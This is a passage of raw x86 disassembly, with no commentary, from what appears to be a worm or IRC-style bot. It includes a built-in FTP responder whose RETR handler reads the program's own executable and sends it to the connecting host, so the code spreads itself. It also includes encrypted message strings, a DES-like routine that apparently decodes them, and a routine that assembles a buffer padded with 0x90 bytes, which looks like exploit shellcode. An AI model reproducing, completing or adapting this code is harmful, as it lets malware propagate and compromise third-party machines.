		call	sub_429760
		push	edi
		push	esi
		lea	eax, [ebp+var_D4]
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_429B03
		add	esp, 44h
		lea	eax, [ebp+var_D4]
		push	10h
		push	ebx
		push	eax
		call	sub_42A05E
		mov	[ebp+var_80], eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_90]
		push	offset dword_43AB7C
		push	eax
		call	sub_429B03
		mov	esi, offset a200 ; "200\r\n"
		lea	edi, [ebp+var_64]
		add	esp, 24h
		lea	eax, [ebp+var_64]
		movsd
		push	ebx
		push	eax
		movsw
		call	sub_4293A0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_64]
		jmp	loc_40323B
; ---------------------------------------------------------------------------


loc_4030AE:				; CODE XREF: sub_402CE9+2FAj
		lea	eax, [ebp+var_138]
		push	offset aRetr	; "RETR"
		push	eax
		call	esi ; dword_437178
		test	eax, eax
		jnz	loc_4031F4
		mov	esi, offset a150 ; "150\r\n"
		lea	edi, [ebp+var_10]
		movsd
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		movsw
		call	sub_4293A0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+arg_0]
		call	dword_456F8C	; send
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_47C]
		push	[ebp+var_3FC]
		push	eax
		lea	eax, [ebp+var_2E08]
		push	[ebp+var_3EC]
		push	eax
		lea	eax, [ebp+var_90]
		push	[ebp+var_80]
		push	eax
		call	sub_403276
		add	esp, 1Ch
		test	eax, eax
		jz	loc_4031D8
		push	[ebp+var_48]
		call	sub_4032D2
		pop	ecx
		mov	esi, offset a226 ; "226\r\n"
		test	eax, eax
		push	ebx
		jle	loc_4031C2
		lea	edi, [ebp+var_50]
		lea	eax, [ebp+var_50]
		movsd
		push	eax
		movsw
		call	sub_4293A0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		push	[ebp+arg_0]
		call	dword_456F8C	; send
		inc	dword_457D08
		cmp	dword_454A4C, ebx
		jz	short loc_40318E
		cmp	dword_454A50, ebx
		jnz	short loc_40319A
		lea	eax, [ebp+var_90]
		push	eax
		push	offset aJt17j1imtvd1 ; "jt17J1ImTVD1"
		lea	eax, [ebp+var_47C]
		push	offset aSS_2	; "%s -> %s"
		push	eax
		push	[ebp+var_8]
		call	sub_41CE4A
		add	esp, 14h


loc_40318E:				; CODE XREF: sub_402CE9+478j
		cmp	dword_454A50, ebx
		jz	loc_403245


loc_40319A:				; CODE XREF: sub_402CE9+480j
		lea	eax, [ebp+var_90]
		push	eax
		push	offset aJt17j1imtvd1 ; "jt17J1ImTVD1"
		lea	eax, [ebp+var_47C]
		push	offset aSS_2	; "%s -> %s"
		push	eax
		push	[ebp+var_8]
		call	sub_41CDD4
		add	esp, 14h
		jmp	loc_403245
; ---------------------------------------------------------------------------


loc_4031C2:				; CODE XREF: sub_402CE9+448j
		lea	edi, [ebp+var_18]
		lea	eax, [ebp+var_18]
		movsd
		push	eax
		movsw
		call	sub_4293A0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_18]
		jmp	short loc_40323B
; ---------------------------------------------------------------------------


loc_4031D8:				; CODE XREF: sub_402CE9+431j
		mov	esi, offset a425 ; "425\r\n"
		lea	edi, [ebp+var_24]
		movsd
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		movsw
		call	sub_4293A0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_24]
		jmp	short loc_40323B
; ---------------------------------------------------------------------------


loc_4031F4:				; CODE XREF: sub_402CE9+3D5j
		lea	eax, [ebp+var_138]
		push	offset aQuit	; "QUIT"
		push	eax
		call	esi ; dword_437178
		test	eax, eax
		push	ebx
		jnz	short loc_403222
		mov	esi, offset a221 ; "221\r\n"
		lea	edi, [ebp+var_30]
		movsd
		lea	eax, [ebp+var_30]
		push	eax
		movsw
		call	sub_4293A0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_30]
		jmp	short loc_40323B
; ---------------------------------------------------------------------------


loc_403222:				; CODE XREF: sub_402CE9+51Cj
		mov	esi, offset a503 ; "503\r\n"
		lea	edi, [ebp+var_3C]
		movsd
		lea	eax, [ebp+var_3C]
		push	eax
		movsw
		call	sub_4293A0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3C]


loc_40323B:				; CODE XREF: sub_402CE9+2B4j
					; sub_402CE9+2E5j ...
		push	eax
		push	[ebp+arg_0]
		call	dword_456F8C	; send


loc_403245:				; CODE XREF: sub_402CE9+4ABj
					; sub_402CE9+4D4j
		push	64h
		lea	eax, [ebp+var_2B0]
		push	ebx
		push	eax
		call	sub_429760
		add	esp, 0Ch


loc_403257:				; CODE XREF: sub_402CE9+1FEj
		mov	esi, [ebp+arg_0]


loc_40325A:				; CODE XREF: sub_402CE9+16Aj
					; sub_402CE9+19Cj ...
		inc	esi
		cmp	esi, [ebp+var_4]
		mov	[ebp+arg_0], esi
		jle	loc_402E22
		jmp	loc_402DE9
; ---------------------------------------------------------------------------


loc_40326C:				; CODE XREF: sub_402CE9+129j
		xor	eax, eax
		inc	eax


loc_40326F:				; CODE XREF: sub_402CE9+D9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_402CE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403276	proc near		; CODE XREF: sub_402CE9+427p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	0
		push	1
		push	2
		call	dword_456FD0	; socket
		mov	esi, [ebp+arg_18]
		push	[ebp+arg_0]
		mov	[ebp+var_10], 2
		mov	[esi], eax
		call	dword_456F7C	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	dword_456F38	; ntohs
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	dword_456EBC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4032CC
		push	dword ptr [esi]
		call	dword_456FF0	; closesocket
		xor	eax, eax
		jmp	short loc_4032CF
; ---------------------------------------------------------------------------


loc_4032CC:				; CODE XREF: sub_403276+48j
		xor	eax, eax
		inc	eax


loc_4032CF:				; CODE XREF: sub_403276+54j
		pop	esi
		leave
		retn
sub_403276	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4032D2	proc near		; CODE XREF: sub_402CE9+43Ap

var_1108	= byte ptr -1108h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1108h
		call	sub_429B60
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_108]
		push	104h
		xor	edi, edi
		push	eax
		push	edi
		call	dword_43717C	; GetModuleFileNameA
		lea	eax, [ebp+var_108]
		push	offset aRb	; "rb"
		push	eax
		call	sub_42A50C
		mov	esi, eax
		pop	ecx
		xor	ebx, ebx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_4], edi
		jz	short loc_403381
		push	2
		push	edi
		push	esi
		call	sub_42A422
		push	esi
		call	sub_42A29F
		push	edi
		push	edi
		push	esi
		mov	[ebp+var_4], eax
		call	sub_42A422
		add	esp, 1Ch
		jmp	short loc_40337B
; ---------------------------------------------------------------------------


loc_403334:				; CODE XREF: sub_4032D2+ADj
		push	1000h
		lea	eax, [ebp+var_1108]
		push	edi
		push	eax
		call	sub_429760
		push	esi
		push	800h
		lea	eax, [ebp+var_1108]
		push	1
		push	eax
		call	sub_42A188
		add	esp, 1Ch
		test	byte ptr [esi+0Ch], 20h
		jnz	short loc_403381
		cmp	eax, edi
		jle	short loc_40337B
		push	edi
		push	eax
		lea	eax, [ebp+var_1108]
		push	eax
		push	[ebp+arg_0]
		call	dword_456F8C	; send
		add	ebx, eax


loc_40337B:				; CODE XREF: sub_4032D2+60j
					; sub_4032D2+93j
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_403334


loc_403381:				; CODE XREF: sub_4032D2+41j
					; sub_4032D2+8Fj
		push	esi
		call	sub_42A10B
		pop	ecx
		push	[ebp+arg_0]
		call	dword_456FF0	; closesocket
		mov	eax, [ebp+var_4]
		pop	edi
		sub	eax, ebx
		pop	esi
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_4032D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4033A3	proc near		; CODE XREF: sub_40A9FE+153p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	0Ch
		xor	edi, edi
		xor	ebx, ebx
		call	sub_42381F
		cmp	eax, edi
		pop	ecx
		jle	loc_40345D
		mov	esi, eax
		imul	esi, 2724h
		cmp	dword_46D72C[esi], edi
		jz	short loc_4033CE
		inc	ebx


loc_4033CE:				; CODE XREF: sub_4033A3+28j
		push	dword_454A1C
		and	byte ptr dword_46B010[esi], 0
		mov	dword_46D72C[esi], edi
		mov	dword_46D720[esi], edi
		mov	dword_46D724[esi], edi
		mov	dword_46D728[esi], edi
		call	dword_456FF0	; closesocket
		push	edi
		push	dword_46D72C[esi]
		call	dword_437054	; TerminateThread
		cmp	ebx, edi
		jz	short loc_40345D
		cmp	[ebp+arg_8], 0
		mov	ebx, offset aBnjcz_zig1m0 ; "bNJcZ.ziG1m0"
		mov	esi, offset aJt17j1imtvd1 ; "jt17J1ImTVD1"
		mov	edi, offset aSSDS ; "%s	%s %d %s"
		jnz	short loc_40343D
		cmp	[ebp+arg_C], 0
		jnz	short loc_403443
		push	offset aTfee90w_vdg1u8 ; "TFEE90W.vdG1u8Ajp1eidrT.d2k2X/no6gm/"
		push	1
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41CE4A
		add	esp, 1Ch


loc_40343D:				; CODE XREF: sub_4033A3+7Aj
		cmp	[ebp+arg_C], 0
		jz	short loc_4034A0


loc_403443:				; CODE XREF: sub_4033A3+80j
		push	offset aTfee90w_vdg1u8 ; "TFEE90W.vdG1u8Ajp1eidrT.d2k2X/no6gm/"
		push	1
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41CDD4
		add	esp, 1Ch
		jmp	short loc_4034A0
; ---------------------------------------------------------------------------


loc_40345D:				; CODE XREF: sub_4033A3+14j
					; sub_4033A3+65j
		cmp	[ebp+arg_8], 0
		mov	esi, offset aJt17j1imtvd1 ; "jt17J1ImTVD1"
		mov	ebx, offset aIbtox1Hofe0hcx ; "IBtOx1/HOfe0Hcxmb/oUlVg00eWuQ.F61Hj/"
		mov	edi, offset aSS_1 ; "%s	%s"
		jnz	short loc_403489
		cmp	[ebp+arg_C], 0
		jnz	short loc_40348F
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41CE4A
		add	esp, 14h


loc_403489:				; CODE XREF: sub_4033A3+CDj
		cmp	[ebp+arg_C], 0
		jz	short loc_4034A0


loc_40348F:				; CODE XREF: sub_4033A3+D3j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41CDD4
		add	esp, 14h


loc_4034A0:				; CODE XREF: sub_4033A3+9Ej
					; sub_4033A3+B8j ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4033A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4034A5	proc near		; CODE XREF: sub_407F55+3Ap

var_F4		= byte ptr -0F4h
var_F0		= byte ptr -0F0h
var_90		= byte ptr -90h
var_74		= byte ptr -74h
var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0F4h
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		xor	ecx, ecx


loc_4034B5:				; CODE XREF: sub_4034A5+37j
		movzx	eax, byte_43AE00[ecx]
		mov	esi, [ebp+arg_0]
		mov	edx, eax
		sar	edx, 3
		and	eax, 7
		mov	dl, [edx+esi]
		test	byte_43AD90[eax*2], dl
		setnz	al
		mov	[ebp+ecx+var_74], al
		inc	ecx
		cmp	ecx, 38h
		jl	short loc_4034B5
		mov	[ebp+arg_0], ebx
		mov	[ebp+var_4], 1Eh


loc_4034E8:				; CODE XREF: sub_4034A5+F2j
		cmp	[ebp+arg_4], 1
		jnz	short loc_4034F3
		mov	eax, [ebp+var_4]
		jmp	short loc_4034F8
; ---------------------------------------------------------------------------


loc_4034F3:				; CODE XREF: sub_4034A5+47j
		mov	eax, [ebp+arg_0]
		add	eax, eax


loc_4034F8:				; CODE XREF: sub_4034A5+4Cj
		lea	ecx, [ebp+eax*4+var_F0]
		lea	esi, [ebp+eax*4+var_F4]
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	[ecx], ebx
		mov	[esi], ebx
		movzx	eax, byte ptr dword_43AE38[eax]
		mov	edi, eax


loc_403518:				; CODE XREF: sub_4034A5+8Ej
		cmp	edi, 1Ch
		jge	short loc_403523
		mov	bl, [ebp+edi+var_74]
		jmp	short loc_40352A
; ---------------------------------------------------------------------------


loc_403523:				; CODE XREF: sub_4034A5+76j
		mov	bl, [ebp+edi+var_90]


loc_40352A:				; CODE XREF: sub_4034A5+7Cj
		mov	[ebp+edx+var_3C], bl
		inc	edx
		inc	edi
		cmp	edx, 1Ch
		jl	short loc_403518
		push	1Ch
		pop	edi
		add	eax, edi


loc_40353A:				; CODE XREF: sub_4034A5+B0j
		cmp	eax, 38h
		jge	short loc_403545
		mov	dl, [ebp+eax+var_74]
		jmp	short loc_40354C
; ---------------------------------------------------------------------------


loc_403545:				; CODE XREF: sub_4034A5+98j
		mov	dl, [ebp+eax+var_90]


loc_40354C:				; CODE XREF: sub_4034A5+9Ej
		mov	[ebp+edi+var_3C], dl
		inc	edi
		inc	eax
		cmp	edi, 38h
		jl	short loc_40353A
		xor	ebx, ebx
		xor	eax, eax


loc_40355B:				; CODE XREF: sub_4034A5+E5j
		lea	edx, dword_43AE60[eax]
		movzx	edi, byte ptr [edx-18h]
		cmp	[ebp+edi+var_3C], bl
		jz	short loc_403574
		mov	edi, dword_43ADA0[eax*4]
		or	[esi], edi


loc_403574:				; CODE XREF: sub_4034A5+C4j
		movzx	edx, byte ptr [edx]
		cmp	[ebp+edx+var_3C], bl
		jz	short loc_403586
		mov	edx, dword_43ADA0[eax*4]
		or	[ecx], edx


loc_403586:				; CODE XREF: sub_4034A5+D6j
		inc	eax
		cmp	eax, 18h
		jl	short loc_40355B
		sub	[ebp+var_4], 2
		inc	[ebp+arg_0]
		cmp	[ebp+var_4], 0FFFFFFFEh
		jg	loc_4034E8
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4035AF
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4034A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4035AF	proc near		; CODE XREF: sub_4034A5+FFp

var_84		= byte ptr -84h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		push	ebx
		push	esi
		push	edi
		lea	edx, [ebp+var_84]
		mov	[ebp+var_4], 10h


loc_4035C8:				; CODE XREF: sub_4035AF+8Dj
		mov	eax, [ebp+arg_0]
		add	[ebp+arg_0], 4
		mov	ecx, [ebp+arg_0]
		add	[ebp+arg_0], 4
		mov	eax, [eax]
		mov	ecx, [ecx]
		mov	esi, eax
		and	esi, 0FC0h
		mov	edi, eax
		shl	esi, 4
		and	edi, 0FC0000h
		mov	ebx, ecx
		or	esi, edi
		mov	edi, ecx
		shr	edi, 4
		and	edi, 0FC000h
		and	ebx, 0FC0h
		or	edi, ebx
		shl	esi, 6
		shr	edi, 6
		or	esi, edi
		mov	[edx], esi
		mov	esi, eax
		and	esi, 3Fh
		and	eax, 3F000h
		shl	esi, 4
		or	esi, eax
		mov	eax, ecx
		shr	eax, 4
		shl	esi, 0Ch
		and	eax, 3F00h
		and	ecx, 3Fh
		or	esi, eax
		add	edx, 4
		or	esi, ecx
		mov	[edx], esi
		add	edx, 4
		dec	[ebp+var_4]
		jnz	short loc_4035C8
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_403650
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4035AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_403650	proc near		; CODE XREF: sub_4035AF+96p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		mov	eax, offset dword_454A58


loc_403659:				; CODE XREF: sub_403650+18j
		mov	edx, [ecx]
		add	ecx, 4
		mov	[eax], edx
		add	eax, 4
		cmp	eax, offset dword_454AD8
		jb	short loc_403659
		retn
sub_403650	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40366B	proc near		; CODE XREF: sub_407F55+49p

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40369B
		lea	eax, [ebp+var_8]
		push	offset dword_454A58
		push	eax
		call	sub_403721
		push	[ebp+arg_4]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_4036E8
		add	esp, 18h
		leave
		retn
sub_40366B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40369B	proc near		; CODE XREF: sub_40366B+Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		mov	eax, [esp+arg_4]
		movzx	edx, byte ptr [ecx]
		shl	edx, 18h
		inc	ecx
		mov	[eax], edx
		movzx	edx, byte ptr [ecx]
		shl	edx, 10h
		or	[eax], edx
		inc	ecx
		xor	edx, edx
		mov	dh, [ecx]
		or	[eax], edx
		inc	ecx
		movzx	edx, byte ptr [ecx]
		or	[eax], edx
		inc	ecx
		add	eax, 4
		movzx	edx, byte ptr [ecx]
		shl	edx, 18h
		inc	ecx
		mov	[eax], edx
		movzx	edx, byte ptr [ecx]
		shl	edx, 10h
		or	[eax], edx
		inc	ecx
		xor	edx, edx
		mov	dh, [ecx]
		or	[eax], edx
		mov	edx, [eax]
		movzx	ecx, byte ptr [ecx+1]
		or	ecx, edx
		mov	[eax], ecx
		retn
sub_40369B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4036E8	proc near		; CODE XREF: sub_40366B+26p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		mov	eax, [esp+arg_4]
		mov	dl, [ecx+3]
		mov	[eax], dl
		mov	dl, [ecx+2]
		inc	eax
		mov	[eax], dl
		mov	dl, [ecx+1]
		inc	eax
		mov	[eax], dl
		mov	dl, [ecx]
		inc	eax
		add	ecx, 4
		mov	[eax], dl
		mov	dl, [ecx+3]
		inc	eax
		mov	[eax], dl
		mov	dl, [ecx+2]
		inc	eax
		mov	[eax], dl
		mov	dl, [ecx+1]
		inc	eax
		mov	[eax], dl
		mov	cl, [ecx]
		mov	[eax+1], cl
		retn
sub_4036E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403721	proc near		; CODE XREF: sub_40366B+1Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	edx, [eax]
		mov	ecx, [eax+4]
		mov	eax, edx
		mov	esi, 0F0F0F0Fh
		shr	eax, 4
		mov	edi, ecx
		and	eax, esi
		and	edi, esi
		mov	[ebp+var_4], 8
		xor	eax, edi
		xor	ecx, eax
		shl	eax, 4
		xor	edx, eax
		mov	esi, ecx
		mov	eax, edx
		and	esi, 0FFFFh
		shr	eax, 10h
		xor	eax, esi
		mov	esi, 33333333h
		xor	ecx, eax
		shl	eax, 10h
		xor	edx, eax
		mov	eax, ecx
		shr	eax, 2
		mov	edi, edx
		and	eax, esi
		and	edi, esi
		mov	esi, 0FF00FFh
		xor	eax, edi
		xor	edx, eax
		shl	eax, 2
		xor	ecx, eax
		mov	edi, edx
		mov	eax, ecx
		and	edi, esi
		shr	eax, 8
		and	eax, esi
		xor	eax, edi
		xor	edx, eax
		shl	eax, 8
		xor	ecx, eax
		mov	eax, ecx
		add	ecx, ecx
		shr	eax, 1Fh
		or	eax, ecx
		mov	ecx, eax
		xor	ecx, edx
		and	ecx, 0AAAAAAAAh
		xor	edx, ecx
		xor	eax, ecx
		mov	ecx, edx
		add	edx, edx
		shr	ecx, 1Fh
		or	ecx, edx


loc_4037B8:				; CODE XREF: sub_403721+1BAj
		mov	edi, [ebp+arg_4]
		mov	esi, eax
		mov	edx, eax
		shl	esi, 1Ch
		shr	edx, 4
		or	esi, edx
		xor	esi, [edi]
		add	edi, 4
		mov	edx, esi
		mov	ebx, esi
		shr	edx, 18h
		and	edx, 3Fh
		shr	ebx, 10h
		mov	edx, dword_43AE78[edx*4]
		and	ebx, 3Fh
		or	edx, dword_43B078[ebx*4]
		mov	ebx, esi
		shr	ebx, 8
		and	ebx, 3Fh
		and	esi, 3Fh
		or	edx, dword_43B278[ebx*4]
		or	edx, dword_43B478[esi*4]
		mov	esi, [edi]
		add	edi, 4
		xor	esi, eax
		mov	[ebp+arg_4], edi
		mov	edi, esi
		shr	edi, 18h
		mov	ebx, esi
		and	edi, 3Fh
		shr	ebx, 10h
		mov	edi, dword_43AF78[edi*4]
		and	ebx, 3Fh
		or	edi, dword_43B178[ebx*4]
		mov	ebx, esi
		shr	ebx, 8
		and	ebx, 3Fh
		and	esi, 3Fh
		or	edi, dword_43B378[ebx*4]
		or	edi, dword_43B578[esi*4]
		or	edi, edx
		xor	ecx, edi
		mov	edi, [ebp+arg_4]
		mov	esi, ecx
		mov	edx, ecx
		shl	esi, 1Ch
		shr	edx, 4
		or	esi, edx
		xor	esi, [edi]
		add	edi, 4
		mov	edx, esi
		mov	ebx, esi
		shr	edx, 18h
		and	edx, 3Fh
		shr	ebx, 10h
		mov	edx, dword_43AE78[edx*4]
		and	ebx, 3Fh
		or	edx, dword_43B078[ebx*4]
		mov	ebx, esi
		shr	ebx, 8
		and	ebx, 3Fh
		and	esi, 3Fh
		or	edx, dword_43B278[ebx*4]
		or	edx, dword_43B478[esi*4]
		mov	esi, [edi]
		add	edi, 4
		xor	esi, ecx
		mov	[ebp+arg_4], edi
		mov	edi, esi
		shr	edi, 18h
		mov	ebx, esi
		and	edi, 3Fh
		shr	ebx, 10h
		mov	edi, dword_43AF78[edi*4]
		and	ebx, 3Fh
		or	edi, dword_43B178[ebx*4]
		mov	ebx, esi
		shr	ebx, 8
		and	ebx, 3Fh
		or	edi, dword_43B378[ebx*4]
		and	esi, 3Fh
		or	edi, dword_43B578[esi*4]
		or	edi, edx
		xor	eax, edi
		dec	[ebp+var_4]
		jnz	loc_4037B8
		mov	edx, eax
		shl	edx, 1Fh
		shr	eax, 1
		or	edx, eax
		mov	eax, edx
		xor	eax, ecx
		and	eax, 0AAAAAAAAh
		xor	ecx, eax
		xor	edx, eax
		mov	esi, ecx
		mov	edi, edx
		shl	esi, 1Fh
		shr	ecx, 1
		or	esi, ecx
		mov	ecx, 0FF00FFh
		mov	eax, esi
		and	edi, ecx
		shr	eax, 8
		and	eax, ecx
		mov	ecx, 33333333h
		xor	eax, edi
		xor	edx, eax
		shl	eax, 8
		xor	esi, eax
		mov	edi, edx
		mov	eax, esi
		and	edi, ecx
		shr	eax, 2
		and	eax, ecx
		xor	eax, edi
		xor	edx, eax
		shl	eax, 2
		xor	esi, eax
		mov	eax, edx
		mov	ecx, esi
		shr	eax, 10h
		and	ecx, 0FFFFh
		xor	eax, ecx
		mov	ecx, 0F0F0F0Fh
		xor	esi, eax
		shl	eax, 10h
		xor	edx, eax
		mov	edi, esi
		mov	eax, edx
		and	edi, ecx
		shr	eax, 4
		and	eax, ecx
		mov	ecx, [ebp+arg_0]
		xor	eax, edi
		mov	edi, eax
		shl	edi, 4
		xor	edi, edx
		xor	eax, esi
		mov	[ecx], edi
		pop	edi
		pop	esi
		mov	[ecx+4], eax
		pop	ebx
		leave
		retn
sub_403721	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403970	proc near		; CODE XREF: sub_403B9B+9Ap

var_2004	= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_C4		= dword	ptr  0CCh
arg_C8		= dword	ptr  0D0h

		push	ebp
		mov	ebp, esp
		mov	eax, 2004h
		call	sub_429B60
		push	esi
		push	edi
		mov	edi, dword_43BB98
		mov	esi, 0A7h
		test	edi, edi
		mov	[ebp+var_4], esi
		jnz	short loc_403998
		xor	eax, eax
		jmp	loc_403B97
; ---------------------------------------------------------------------------


loc_403998:				; CODE XREF: sub_403970+1Fj
		push	ebx
		push	30h
		lea	eax, [ebp+var_2004]
		push	offset off_43BAB4
		push	eax
		call	sub_429420
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_429760
		mov	ebx, offset dword_43A8E8
		push	edi
		lea	eax, [ebp+var_1F2D]
		push	ebx
		push	eax
		call	sub_429420
		lea	esi, [edi+0D7h]
		jmp	short loc_403A12
; ---------------------------------------------------------------------------


loc_4039D6:				; CODE XREF: sub_403970+B0j
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2004]
		inc	esi
		push	offset off_43BAB4
		push	eax
		mov	[ebp+var_4], esi
		call	sub_429420
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_429760
		push	edi
		lea	eax, [ebp+esi+var_1FD4]
		push	ebx
		push	eax
		call	sub_429420
		lea	esi, [esi+edi+30h]


loc_403A12:				; CODE XREF: sub_403970+64j
		add	esp, 24h
		mov	eax, esi
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jnz	short loc_4039D6
		cmp	[ebp+arg_C8], 3
		jnz	short loc_403A41
		push	4
		lea	eax, [ebp+var_1FE0]
		push	offset dword_43BB94
		push	eax
		call	sub_429420
		add	esp, 0Ch


loc_403A41:				; CODE XREF: sub_403970+B9j
		cmp	[ebp+arg_C8], 2
		jnz	short loc_403A60
		push	4
		lea	eax, [ebp+var_1FE0]
		push	offset dword_43BB90
		push	eax
		call	sub_429420
		add	esp, 0Ch


loc_403A60:				; CODE XREF: sub_403970+D8j
		push	360h
		lea	eax, [ebp+var_1004]
		push	offset dword_43B6C8
		push	eax
		call	sub_429420
		push	10h
		lea	eax, [ebp+var_CA4]
		push	offset dword_43BA2C
		push	eax
		call	sub_429420
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		lea	eax, [ebp+var_C94]
		push	eax
		call	sub_429420
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_43BA40
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_429420
		add	edi, 3Ch
		push	30h
		push	offset dword_43BA80
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_429420
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E78], eax
		call	sub_4297B8
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_429760
		lea	eax, [ebp+var_1004]
		push	edi
		push	eax
		push	ebx
		call	sub_429420
		mov	eax, [ebp+arg_C4]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx


loc_403B97:				; CODE XREF: sub_403970+23j
